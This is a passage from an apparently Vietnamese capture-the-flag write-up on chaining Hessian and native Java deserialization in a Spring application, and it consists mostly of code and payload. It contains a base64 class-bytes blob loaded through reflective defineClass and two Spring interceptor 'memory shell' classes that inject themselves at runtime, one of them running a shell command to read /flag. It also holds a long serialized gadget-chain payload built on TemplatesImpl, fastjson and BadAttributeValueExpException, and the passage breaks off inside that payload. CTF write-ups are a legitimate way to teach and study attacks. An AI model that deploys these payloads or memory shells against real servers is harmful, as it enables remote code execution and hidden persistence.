AGABAAZibGFibGEMAMIAngEAE2phdmEvbGFuZy9FeGNlcHRpb24BABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgwASwDDAQAQamF2YS9sYW5nL09iamVjdAEAMm9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvSGFuZGxlckludGVyY2VwdG9yAQAXamF2YS9sYW5nL3JlZmxlY3QvRmllbGQBACVqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0AQANZ2V0UmVxdWVzdFVSSQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAQamF2YS9sYW5nL1N0cmluZwEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgEADHVzZURlbGltaXRlcgEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRpbC9TY2FubmVyOwEABG5leHQBACZqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZQEACWFkZEhlYWRlcgEAJyhMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZzspVgEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQATamF2YS9pby9QcmludFdyaXRlcgEABXdyaXRlAQAFZmx1c2gBAAVjbG9zZQEAPG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvcmVxdWVzdC9SZXF1ZXN0Q29udGV4dEhvbGRlcgEAGGN1cnJlbnRSZXF1ZXN0QXR0cmlidXRlcwEAPSgpTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvcmVxdWVzdC9SZXF1ZXN0QXR0cmlidXRlczsBADlvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9jb250ZXh0L3JlcXVlc3QvUmVxdWVzdEF0dHJpYnV0ZXMBAAxnZXRBdHRyaWJ1dGUBACcoTGphdmEvbGFuZy9TdHJpbmc7SSlMamF2YS9sYW5nL09iamVjdDsBAAdnZXRCZWFuAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL09iamVjdDsBAA9qYXZhL2xhbmcvQ2xhc3MBABBnZXREZWNsYXJlZEZpZWxkAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7AQANc2V0QWNjZXNzaWJsZQEABChaKVYBAANnZXQBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEABHNpemUBAAMoKUkBABUoSSlMamF2YS9sYW5nL09iamVjdDsBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BAANhZGQBABgoTGphdmEvbGFuZy9UaHJvd2FibGU7KVYAIQAiACwAAQAtAAEACgAuAC8AAAAFAAEAMAAxAAMAMgAAAGAABQAFAAAACiorLC0ZBLcAAbEAAAACADMAAAAKAAIAAAAPAAkAEAA0AAAANAAFAAAACgA1ADYAAAAAAAoANwA4AAEAAAAKADkAOgACAAAACgA7ADwAAwAAAAoAPQA+AAQAPwAAAAQAAQApAEAAAAARBAA3AAAAOQAAADsAAAA9AAAAAQBBAEIAAwAyAAAAYAAFAAUAAAAKKissLRkEtwACsQAAAAIAMwAAAAoAAgAAABQACQAVADQAAAA0AAUAAAAKADUANgAAAAAACgA3ADgAAQAAAAoAOQA6AAIAAAAKADsAPAADAAAACgBDAEQABAA/AAAABAABACkAQAAAABEEADcAAAA5AAAAOwAAAEMAAAABAEUARgADADIAAADXAAMABgAAAFAruQADAQASBLYABZkAQxIGOgS7AAdZGQS3AAgSCbYACrYACzoFLBIMEg25AA4DACy5AA8BABkFtgAQLLkADwEAtgARLLkADwEAtgASA6wErAAAAAMAMwAAACYACQAAABoADgAcABIAHQAlAB4ALwAfADoAIABDACEATAAiAE4AJAA0AAAAPgAGABIAPABHAEgABAAlACkASQBIAAUAAABQADUANgAAAAAAUAA3ADgAAQAAAFAAOQA6AAIAAABQADsAPAADAEoAAAAFAAH7AE4APwAAAAQAAQApAEAAAAANAwA3AAAAOQAAADsAAAABAEsATAABADIAAAGDAAMABgAAAIAqtwATuAAUEhUDuQAWAwDAABdMKxIYuQAZAgDAABpNEhoSG7YAHE4tBLYAHS0stgAewAAfOgQDNgUVBRkEtgAgogAfGQQVBbYAIcEAIpkADLIAIxIktgAlsYQFAaf/3bsAIlkSJrcAJzoFGQQZBbYAKFenAA1MuwAqWSu3ACu/sQACAAQAWAB1ACkAWQByAHUAKQAEADMAAABGABEAAAAoAAQAKgATACsAHwAsACcALQAsAC4ANgAwAEMAMQBQADIAWAAzAFkAMABfADYAagA3AHIAOwB1ADkAdgA6AH8APQA0AAAAUgAIADkAJgBNAC8ABQATAF8ATgBPAAEAHwBTAFAAUQACACcASwBSAFMAAwA2ADwAVABVAAQAagAIAFYANgAFAHYACQBXAEQAAQAAAIAANQA2AAAAWAAAAAwAAQA2ADwAVABZAAQASgAAACsABf8AOQAGBwBaBwBbBwBcBwBdBwBeAQAAH/oABf8AFQABBwBaAAEHAF8JAAIASwBgAAIAMgAAADkAAQACAAAABSq3ABOxAAAAAgAzAAAABgABAAAAPgA0AAAAFgACAAAABQA1ADYAAAAAAAUAYQBIAAEAQAAAAAUBAGEAAAABAGIAAAACAGM="; byte[] bytes = new byte[0]; try { bytes = sun.misc.BASE64Decoder.class.newInstance().decodeBuffer(b64); java.lang.ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); //classLoader.loadClass(className); java.lang.reflect.Method m0 = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class); m0.setAccessible(true); m0.invoke(classLoader, className, bytes, 0, bytes.length); classLoader.loadClass(className).newInstance(); } catch (Exception e) { throw new RuntimeException(e); } return "cc"; } @RequestMapping(value = { "/gen" }) @ResponseBody public String gen() throws IOException, InstantiationException, IllegalAccessException, NotFoundException, CannotCompileException, ClassNotFoundException { return "done"; } } ``` `ExploitInterceptor.java`: ```java import org.springframework.context.ApplicationContext; import org.springframework.web.context.request.RequestContextHolder; import org.springframework.web.servlet.HandlerInterceptor; import org.springframework.web.servlet.ModelAndView; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.lang.reflect.Field; import java.util.ArrayList; import java.util.Scanner; public class ExploitInterceptor implements HandlerInterceptor { @Override public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception { HandlerInterceptor.super.postHandle(request, response, handler, modelAndView); } @Override public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception { HandlerInterceptor.super.afterCompletion(request, response, handler, ex); } @Override public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { if (request.getRequestURI().equals("/gen")) { ; String code = "{\"code\":\"200\",\"message\":\"rO0ABXNyABNqYXZhLnV0aWwuQXJyYXlMaXN0eIHSHZnHYZ0DAAFJAARzaXpleHAAAAABdwQAAAABdAApb3JnLmpib3NzLnByb3h5LmVqYi5 oYW5kbGUuSG9tZUhhbmRsZUltcGx4\"}"; String result = new Scanner(code).useDelimiter("\\A").next(); response.addHeader("Content-Type", "application/json;charset=UTF-8"); response.getWriter().write(result); response.getWriter().flush(); response.getWriter().close(); return false; } return true; } public ExploitInterceptor(){ try { ApplicationContext context = (ApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); org.springframework.web.servlet.handler.AbstractHandlerMapping requestMappingHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping) context.getBean("requestMappingHandlerMapping"); Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors"); field.setAccessible(true); ArrayList<Object> adaptedInterceptors = (ArrayList <Object>) field.get(requestMappingHandlerMapping); for(int i = 0; i < adaptedInterceptors.size(); i++){ if (adaptedInterceptors.get(i) instanceof ExploitInterceptor){ System.out.println("ExploitInterceptor has been added"); return; } } ExploitInterceptor exploitInterceptor = new ExploitInterceptor("blabla"); adaptedInterceptors.add(exploitInterceptor); } catch (Exception e) { throw new RuntimeException(e); } } private ExploitInterceptor(String a){} } ``` Access đến `/exp` và sau đó `/gen` ![](https://hackmd.io/_uploads/SyA1uQrE3.png) => Interceptor được add thành công ### Final exploit script Tóm lại cách solve bài này sẽ như sau: - Trigger hessian deserialization bên phía registry - Từ registry dùng javascript engine add một malicious interceptor tại `/blacklist/jdk/get` với 2 nhiệm vụ: -- Update `denyClasses` thành List của class bất kì (để tiện cho việc khai thác) ở lần GET thứ nhất -- Trả về payload khai thác native deserialization bên phía server ở lần GET thứ 2 - payload này sẽ thực hiện add một malicious interceptor tại `/status` để trả về flag. Về payload khai thác deseri bên phía server, có thể sử dụng `JSONObject.toString()` để gọi đến `TemplatesImpl.getOutputProperties()`, và dùng `BadAttributeValueExpException.readObject()` để trigger `JSONObject.toString()`. *Full script* `Exploit2Interceptor.java` ```java import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import org.springframework.context.ApplicationContext; import org.springframework.web.context.request.RequestContextHolder; import org.springframework.web.servlet.HandlerInterceptor; import org.springframework.web.servlet.ModelAndView; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.InputStream; import java.lang.reflect.Field; import java.util.ArrayList; import java.util.Base64; import java.util.Scanner; public class Exploit2Interceptor extends AbstractTranslet implements HandlerInterceptor { @Override public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception { HandlerInterceptor.super.postHandle(request, response, handler, modelAndView); } @Override public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception { HandlerInterceptor.super.afterCompletion(request, response, handler, ex); } @Override public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { if (request.getRequestURI().equals("/status")) { InputStream in = Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", "cat /flag"}).getInputStream(); String output = new Scanner(in).useDelimiter("\\A").next(); String result = "{\"code\":\"200\",\"message\":\""+ Base64.getEncoder().encodeToString(output.getBytes())+"\"}"; response.addHeader("Content-Type","application/json;charset=UTF-8"); response.getWriter().write(result); response.getWriter().flush(); response.getWriter().close(); return false; } return true; } public Exploit2Interceptor(){ try { ApplicationContext context = (ApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); org.springframework.web.servlet.handler.AbstractHandlerMapping requestMappingHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping) context.getBean("requestMappingHandlerMapping"); Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors"); field.setAccessible(true); ArrayList<Object> adaptedInterceptors = (ArrayList <Object>) field.get(requestMappingHandlerMapping); for(int i = 0; i < adaptedInterceptors.size(); i++){ if (adaptedInterceptors.get(i) instanceof Exploit2Interceptor){ System.out.println("Exploit2Interceptor has been added"); return; } } Exploit2Interceptor exploit2Interceptor = new Exploit2Interceptor("blabla"); adaptedInterceptors.add(exploit2Interceptor); } catch (Exception e) { throw new RuntimeException(e); } } private Exploit2Interceptor(String a){} @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } } ``` `ExploitInterceptor.java` ```java import com.kenai.jaffl.struct.Struct; import org.springframework.context.ApplicationContext; import org.springframework.web.context.request.RequestContextHolder; import org.springframework.web.servlet.HandlerInterceptor; import org.springframework.web.servlet.ModelAndView; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.lang.reflect.Field; import java.util.ArrayList; import java.util.Scanner; public class ExploitInterceptor implements HandlerInterceptor { private static int counter = 0; @Override public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception { HandlerInterceptor.super.postHandle(request, response, handler, modelAndView); } @Override public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception { HandlerInterceptor.super.afterCompletion(request, response, handler, ex); } @Override public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { String code = ""; if (request.getRequestURI().equals("/blacklist/jdk/get")) { if(counter == 0){ // for updating denyClasses code = "{\"code\":\"200\",\"message\":\"rO0ABXNyABNqYXZhLnV0aWwuQXJyYXlMaXN0eIHSHZnHYZ0DAAFJAARzaXpleHAAAAABdwQAAAABdAApb3JnLmpib3NzLnByb3h5LmVqYi5oYW5kbGUuSG9tZUhhbmRsZUltcGx4\"}"; } else { // for attacking server String message = "rO0ABXNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAAXNyABtqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnRhCcWaJjbdhQIABEkACmxpbmVOdW1iZXJMAA5kZWNsYXJpbmdDbGFzc3EAfgAFTAAIZmlsZU5hbWVxAH4ABUwACm1ldGhvZE5hbWVxAH4ABXhwAAAAHHQABE1haW50AAlNYWluLmphdmF0AARtYWluc3IAJmphdmEudXRpbC5Db2xsZWN0aW9ucyRVbm1vZGlmaWFibGVMaXN0/A8lMbXsjhACAAFMAARsaXN0cQB+AAd4cgAsamF2YS51dGlsLkNvbGxlY3Rpb25zJFVubW9kaWZpYWJsZUNvbGxlY3Rpb24ZQgCAy173HgIAAUwAAWN0ABZMamF2YS91dGlsL0NvbGxlY3Rpb247eHBzcgATamF2YS51dGlsLkFycmF5TGlzdHiB0h2Zx2GdAwABSQAEc2l6ZXhwAAAAAHcEAAAAAHhxAH4AFXhzcgAfY29tLmFsaWJhYmEuZmFzdGpzb24uSlNPTk9iamVjdAAAAAAAAAABAgABTAADbWFwdAAPTGphdmEvdXRpbC9NYXA7eHBzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAMdwgAAAAQAAAAAXQABHh4eHhzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AAVMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAABdXIAAltCrPMX+AYIVOACAAB4cAAAFrzK/rq+AAAANAEHCwA8AH8LADwAgAsAgQCCCACDCgAHAIQKAIUAhgcAhwgAiAgAiQgAigoAhQCLCgCMAI0HAI4KAA0AjwgAkAoADQCRCgANAJIHAJMKABIAlAgAlQoAEgCWCgCXAJgKAAcAmQoAmgCbCACcCgASAJ0IAJ4IAJ8LAKAAoQsAoACiCgCjAKQKAKMApQoAowCmCgA7AJQKAKcAqAgAqQsAqgCrBwCsCABgCwAmAK0HAK4IAGQKAK8AsAoAsQCyCgCxALMHALQKAC4AtQoALgC2BwC3CQC4ALkIALoKALsAvAgAvQoAMQC+CgAuAL8HAMAHAMEKADkAwgcAwwcAxAEACnBvc3RIYW5kbGUBAJIoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlO0xqYXZhL2xhbmcvT2JqZWN0O0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L01vZGVsQW5kVmlldzspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAVTEV4cGxvaXQySW50ZXJjZXB0b3I7AQAHcmVxdWVzdAEAJ0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0OwEACHJlc3BvbnNlAQAoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlOwEAB2hhbmRsZXIBABJMamF2YS9sYW5nL09iamVjdDsBAAxtb2RlbEFuZFZpZXcBAC5Mb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9Nb2RlbEFuZFZpZXc7AQAKRXhjZXB0aW9ucwEAEE1ldGhvZFBhcmFtZXRlcnMBAA9hZnRlckNvbXBsZXRpb24BAHkoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlO0xqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvRXhjZXB0aW9uOylWAQACZXgBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAlwcmVIYW5kbGUBAGQoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlO0xqYXZhL2xhbmcvT2JqZWN0OylaAQACaW4BABVMamF2YS9pby9JbnB1dFN0cmVhbTsBAAZvdXRwdXQBABJMamF2YS9sYW5nL1N0cmluZzsBAAZyZXN1bHQBAA1TdGFja01hcFRhYmxlAQAGPGluaXQ+AQADKClWAQABaQEAAUkBAAdjb250ZXh0AQAwTG9yZy9zcHJpbmdmcmFtZXdvcmsvY29udGV4dC9BcHBsaWNhdGlvbkNvbnRleHQ7AQAccmVxdWVzdE1hcHBpbmdIYW5kbGVyTWFwcGluZwEAQExvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L2hhbmRsZXIvQWJzdHJhY3RIYW5kbGVyTWFwcGluZzsBAAVmaWVsZAEAGUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBABNhZGFwdGVkSW50ZXJjZXB0b3JzAQAVTGphdmEvdXRpbC9BcnJheUxpc3Q7AQATZXhwbG9pdDJJbnRlcmNlcHRvcgEAAWUBABZMb2NhbFZhcmlhYmxlVHlwZVRhYmxlAQApTGphdmEvdXRpbC9BcnJheUxpc3Q8TGphdmEvbGFuZy9PYmplY3Q7PjsHALcHAKwHAK4HAMUHALQHAMABABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAAFhAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwcAxgEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAYRXhwbG9pdDJJbnRlcmNlcHRvci5qYXZhDAA9AD4MAE4ATwcAxwwAyADJAQAHL3N0YXR1cwwAygDLBwDMDADNAM4BABBqYXZhL2xhbmcvU3RyaW5nAQAHL2Jpbi9zaAEAAi1jAQAJY2F0IC9mbGFnDADPANAHANEMANIA0wEAEWphdmEvdXRpbC9TY2FubmVyDABaANQBAAJcQQwA1QDWDADXAMkBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgwAWgBbAQAZeyJjb2RlIjoiMjAwIiwibWVzc2FnZSI6IgwA2ADZBwDaDADbAN4MAN8A4AcA4QwA4gDjAQACIn0MAOQAyQEADENvbnRlbnQtVHlwZQEAHmFwcGxpY2F0aW9uL2pzb247Y2hhcnNldD1VVEYtOAcA5QwA5gDnDADoAOkHAOoMAOsAcAwA7ABbDADtAFsHAO4MAO8A8AEAOW9yZy5zcHJpbmdmcmFtZXdvcmsud2ViLnNlcnZsZXQuRGlzcGF0Y2hlclNlcnZsZXQuQ09OVEVYVAcA8QwA8gDzAQAub3JnL3NwcmluZ2ZyYW1ld29yay9jb250ZXh0L0FwcGxpY2F0aW9uQ29udGV4dAwA9AD1AQA+b3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9oYW5kbGVyL0Fic3RyYWN0SGFuZGxlck1hcHBpbmcHAPYMAPcA+AcAxQwA+QD6DAD7APwBABNqYXZhL3V0aWwvQXJyYXlMaXN0DAD9AP4MAPsA/wEAE0V4cGxvaXQySW50ZXJjZXB0b3IHAQAMAQEBAgEAHlRlbXBJbnRlcmNlcHRvciBoYXMgYmVlbiBhZGRlZAcBAwwBBABwAQAGYmxhYmxhDABaAHAMAQUAywEAE2phdmEvbGFuZy9FeGNlcHRpb24BABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgwAWgEGAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAMm9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvSGFuZGxlckludGVyY2VwdG9yAQAXamF2YS9sYW5nL3JlZmxlY3QvRmllbGQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BACVqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0AQANZ2V0UmVxdWVzdFVSSQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAGZXF1YWxzAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAKChbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsBAARuZXh0AQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAQamF2YS91dGlsL0Jhc2U2NAEACmdldEVuY29kZXIBAAdFbmNvZGVyAQAMSW5uZXJDbGFzc2VzAQAcKClMamF2YS91dGlsL0Jhc2U2NCRFbmNvZGVyOwEACGdldEJ5dGVzAQAEKClbQgEAGGphdmEvdXRpbC9CYXNlNjQkRW5jb2RlcgEADmVuY29kZVRvU3RyaW5nAQAWKFtCKUxqYXZhL2xhbmcvU3RyaW5nOwEACHRvU3RyaW5nAQAmamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2UBAAlhZGRIZWFkZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7KVYBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAE2phdmEvaW8vUHJpbnRXcml0ZXIBAAV3cml0ZQEABWZsdXNoAQAFY2xvc2UBADxvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9jb250ZXh0L3JlcXVlc3QvUmVxdWVzdENvbnRleHRIb2xkZXIBABhjdXJyZW50UmVxdWVzdEF0dHJpYnV0ZXMBAD0oKUxvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9jb250ZXh0L3JlcXVlc3QvUmVxdWVzdEF0dHJpYnV0ZXM7AQA5b3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9yZXF1ZXN0L1JlcXVlc3RBdHRyaWJ1dGVzAQAMZ2V0QXR0cmlidXRlAQAnKExqYXZhL2xhbmcvU3RyaW5nO0kpTGphdmEvbGFuZy9PYmplY3Q7AQAHZ2V0QmVhbgEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9PYmplY3Q7AQAPamF2YS9sYW5nL0NsYXNzAQAQZ2V0RGVjbGFyZWRGaWVsZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEADXNldEFjY2Vzc2libGUBAAQoWilWAQADZ2V0AQAmKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAARzaXplAQADKClJAQAVKEkpTGphdmEvbGFuZy9PYmplY3Q7AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQADYWRkAQAYKExqYXZhL2xhbmcvVGhyb3dhYmxlOylWACEAMQA7AAEAPAAAAAcAAQA9AD4AAwA/AAAAYAAFAAUAAAAKKissLRkEtwABsQAAAAIAQAAAAAoAAgAAABgACQAZAEEAAAA0AAUAAAAKAEIAQwAAAAAACgBEAEUAAQAAAAoARgBHAAIAAAAKAEgASQADAAAACgBKAEsABABMAAAABAABADgATQAAABEEAEQAAABGAAAASAAAAEoAAAABAE4ATwADAD8AAABgAAUABQAAAAoqKywtGQS3AAKxAAAAAgBAAAAACgACAAAAHQAJAB4AQQAAADQABQAAAAoAQgBDAAAAAAAKAEQARQABAAAACgBGAEcAAgAAAAoASABJAAMAAAAKAFAAUQAEAEwAAAAEAAEAOABNAAAAEQQARAAAAEYAAABIAAAAUAAAAAEAUgBTAAMAPwAAASMABQAHAAAAjiu5AAMBABIEtgAFmQCBuAAGBr0AB1kDEghTWQQSCVNZBRIKU7YAC7YADDoEuwANWRkEtwAOEg+2ABC2ABE6BbsAElm3ABMSFLYAFbgAFhkFtgAXtgAYtgAVEhm2ABW2ABo6BiwSGxIcuQAdAwAsuQAeAQAZBrYAHyy5AB4BALYAICy5AB4BALYAIQOsBKwAAAADAEAAAAAqAAoAAAAlAA4AJgAsACcAPwApAGMAKgBtACsAeAAsAIEALQCKAC4AjAAwAEEAAABIAAcALABgAFQAVQAEAD8ATQBWAFcABQBjACkAWABXAAYAAACOAEIAQwAAAAAAjgBEAEUAAQAAAI4ARgBHAAIAAACOAEgASQADAFkAAAAFAAH7AIwATAAAAAQAAQA4AE0AAAANAwBEAAAARgAAAEgAAAABAFoAWwABAD8AAAGDAAMABgAAAIAqtwAiuAAjEiQDuQAlAwDAACZMKxInuQAoAgDAAClNEikSKrYAK04tBLYALC0stgAtwAAuOgQDNgUVBRkEtgAvogAfGQQVBbYAMMEAMZkADLIAMhIztgA0sYQFAaf/3bsAMVkSNbcANjoFGQQZBbYAN1enAA1MuwA5WSu3ADq/sQACAAQAWAB1ADgAWQByAHUAOAAEAEAAAABGABEAAAA0AAQANgATADcAHwA4ACcAOQAsADoANgA8AEMAPQBQAD4AWAA/AFkAPABfAEIAagBDAHIARwB1AEUAdgBGAH8ASQBBAAAAUgAIADkAJgBcAF0ABQATAF8AXgBfAAEAHwBTAGAAYQACACcASwBiAGMAAwA2ADwAZABlAAQAagAIAGYAQwAFAHYACQBnAFEAAQAAAIAAQgBDAAAAaAAAAAwAAQA2ADwAZABpAAQAWQAAACsABf8AOQAGBwBqBwBrBwBsBwBtBwBuAQAAH/oABf8AFQABBwBqAAEHAG8JAAIAWgBwA